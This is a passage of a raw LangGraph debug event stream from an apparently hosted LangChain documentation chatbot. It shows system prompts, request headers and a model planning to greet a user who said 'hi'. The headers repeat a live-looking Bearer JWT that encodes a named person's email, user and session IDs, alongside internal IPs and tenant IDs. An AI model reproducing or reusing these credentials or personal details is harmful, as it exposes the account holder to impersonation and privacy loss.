ones.","checkpoint_id":"1f09269e-f6c8-6e8f-8000-61b81d860490"}},"parent_config":{"configurable":{"checkpoint_ns":"","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_id":"1f09269e-f6c0-69e6-bfff-d88e995570cc"}},"values":{"messages":[{"content":"hi","additional_kwargs":{},"response_metadata":{},"type":"human","name":null,"id":"7aae7cba-94b6-4218-8747-4f0f66a34000","example":false}],"documents":[]},"metadata":{"source":"loop","step":0,"parents":{}},"next":["create_research_plan"],"tasks":[{"id":"5e333532-4443-c672-d930-ecf3120c85cd","name":"create_research_plan","interrupts":[],"state":null}],"checkpoint":{"checkpoint_id":"1f09269e-f6c8-6e8f-8000-61b81d860490","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":""},"parent_checkpoint":{"checkpoint_id":"1f09269e-f6c0-69e6-bfff-d88e995570cc","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":""}}} + +event: debug +data: {"step":1,"timestamp":"2025-09-15T19:26:53.457897+00:00","type":"task","payload":{"id":"5e333532-4443-c672-d930-ecf3120c85cd","name":"create_research_plan","input":{"messages":[{"content":"hi","additional_kwargs":{},"response_metadata":{},"type":"human","name":null,"id":"7aae7cba-94b6-4218-8747-4f0f66a34000","example":false}],"router":{"type":"general","logic":""},"steps":[],"documents":[],"answer":"","query":""},"triggers":["branch:to:create_research_plan"]}} + +event: messages/metadata +data: {"run--27fb1bde-8c18-4056-8549-baa92acf003c":{"metadata":{"created_by":"system","from_studio":true,"assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","LANGGRAPH_API_URL":"https://chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","run_attempt":1,"langgraph_version":"0.6.6","langgraph_api_version":"0.4.3","langgraph_plan":"enterprise","langgraph_host":"saas","langgraph_api_url":null,"k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","langgraph_step":1,"langgraph_node":"create_research_plan","langgraph_triggers":["branch:to:create_research_plan"],"langgraph_path":["__pregel_pull","create_research_plan"],"langgraph_checkpoint_ns":"create_research_plan:5e333532-4443-c672-d930-ecf3120c85cd","checkpoint_ns":"create_research_plan:5e333532-4443-c672-d930-ecf3120c85cd","ls_provider":"anthropic","ls_model_name":"claude-3-5-haiku-20241022","ls_model_type":"chat","ls_temperature":0.0,"ls_max_tokens":1024,"tags":["langsmith:nostream"]}}} + +event: messages/partial +data: [{"content":[],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":""}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":"{\"steps\": [\""}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{"steps":[""]},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":"{\"steps\": [\"Greet the us"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{"steps":["Greet the us"]},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":"{\"steps\": [\"Greet the user and "}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{"steps":["Greet the user and "]},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":"{\"steps\": [\"Greet the user and ask abo"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{"steps":["Greet the user and ask abo"]},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":"{\"steps\": [\"Greet the user and ask about t"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{"steps":["Greet the user and ask about t"]},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":"{\"steps\": [\"Greet the user and ask about their specific"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{"steps":["Greet the user and ask about their specific"]},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":"{\"steps\": [\"Greet the user and ask about their specific LangCha"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{"steps":["Greet the user and ask about their specific LangCha"]},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":"{\"steps\": [\"Greet the user and ask about their specific LangChain-related"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{"steps":["Greet the user and ask about their specific LangChain-related"]},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":"{\"steps\": [\"Greet the user and ask about their specific LangChain-related quest"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{"steps":["Greet the user and ask about their specific LangChain-related quest"]},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":"{\"steps\": [\"Greet the user and ask about their specific LangChain-related question or issue"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{"steps":["Greet the user and ask about their specific LangChain-related question or issue"]},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":"{\"steps\": [\"Greet the user and ask about their specific LangChain-related question or issue\"]}"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{"steps":["Greet the user and ask about their specific LangChain-related question or issue"]},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","input":{},"name":"Plan","type":"tool_use","index":0,"partial_json":"{\"steps\": [\"Greet the user and ask about their specific LangChain-related question or issue\"]}"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022","stop_reason":"tool_use","stop_sequence":null},"type":"ai","name":null,"id":"run--27fb1bde-8c18-4056-8549-baa92acf003c","example":false,"tool_calls":[{"name":"Plan","args":{"steps":["Greet the user and ask about their specific LangChain-related question or issue"]},"id":"toolu_011AD2TbtpQF3BRbxYAyyoKZ","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":{"input_tokens":586,"output_tokens":53,"total_tokens":639,"input_token_details":{"cache_creation":0,"cache_read":0}}}] + +event: debug +data: {"step":1,"timestamp":"2025-09-15T19:26:54.796366+00:00","type":"task_result","payload":{"id":"5e333532-4443-c672-d930-ecf3120c85cd","name":"create_research_plan","error":null,"result":[["steps",["Greet the user and ask about their specific LangChain-related question or issue"]],["documents","delete"],["query","hi"]],"interrupts":[]}} + +event: debug +data: {"step":1,"timestamp":"2025-09-15T19:26:54.799033+00:00","type":"checkpoint","payload":{"config":{"configurable":{"checkpoint_ns":"","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwc